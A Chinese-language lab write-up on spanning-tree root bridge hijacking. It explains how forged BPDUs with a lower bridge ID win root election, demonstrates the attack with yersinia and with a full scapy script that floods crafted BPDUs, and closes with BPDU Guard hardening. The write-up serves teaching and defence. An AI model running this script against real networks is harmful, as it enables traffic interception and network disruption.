目录
漏洞原理:
STP(Spanning Tree Protocol,生成树协议)是用于在网络中防止环路的一种协议。它通过选择一个根桥(Root Bridge),然后基于这个根桥来构建无环的网络拓扑结构。所有交换机都会参与到选举根桥的过程中,并且根据一定的规则选出最优的根桥。
STP根桥攻击是一种针对STP机制的安全威胁,攻击者可以通过伪造具有更优BPDU(Bridge Protocol Data Unit)信息的数据包来尝试改变现有的根桥。BPDU中包含了诸如桥ID、根路径成本等信息,其中桥ID由优先级和MAC地址组成。在STP算法中,桥ID数值越小的交换机会被选为根桥。
攻击原理:
篡改BPDU信息:攻击者可能向网络发送精心构造的BPDU数据包,这些数据包携带了比当前根桥更低的桥ID值。如果网络中的其他交换机接收到了这样的BPDU,并认为它来自一个新的更好的根桥,则会重新计算生成树,并可能导致将攻击者的设备或受控设备误认为新的根桥。
使用yersinia进行攻击
拓扑图如下
cloud配置如下
原来的根桥是sw3
使用yersinia攻击
打开yersinia
点击local attack
看到如下就是已经在攻击了
回去看一下sw3和sw4的根桥,发现根桥的距离是cloud
实验成功。
使用python脚本进行攻击
脚本(注意根桥mac地址不要使用那种不常规的):
from scapy.all import *
# 定义网络接口
interface = "eth0"
# 构造以太网帧
eth = Ether(dst="01:80:C2:00:00:00", src="4C:1F:CC:9B:4E:0F") # 使用Yersinia的源MAC地址
# 构造LLC层
llc = LLC(dsap=0x42, ssap=0x42, ctrl=0x03)
# 构造STP层
# 使用Yersinia的参数
stp = STP(
proto=0, # 协议类型
version=0, # 版本号
bpdutype=0, # BPDU类型
bpduflags=0, # BPDU标志
rootid=0, # 根桥ID
rootmac="4C:1F:CC:9B:4E:0F", # 根桥MAC地址
pathcost=0, # 路径成本
bridgeid=0, # 桥ID
bridgemac="4C:1F:CC:9B:4E:0F", # 桥MAC地址
portid=0, # 端口ID
age=1, # 消息年龄
maxage=20, # 最大老化时间
hellotime=2, # Hello时间
fwddelay=15 # 转发延迟时间
)
# 组装整个数据包
packet = eth / llc / stp
for i in range(10000):
sendp(packet, iface=interface)
i+=1
运行脚本
可以看到已经抢到根桥了
实验成功
加固方法及其实验效果
启用BPDU保护(BPDU Guard):
BPDU Guard是一种功能,当在一个端口上检测到BPDU时,该端口就会被自动关闭。这样可以防止非法设备成为根桥。
进入接口视图,配置边缘接口并打开bpdu保护
开启之后我们进行攻击
发现接口自动断掉了
实验成功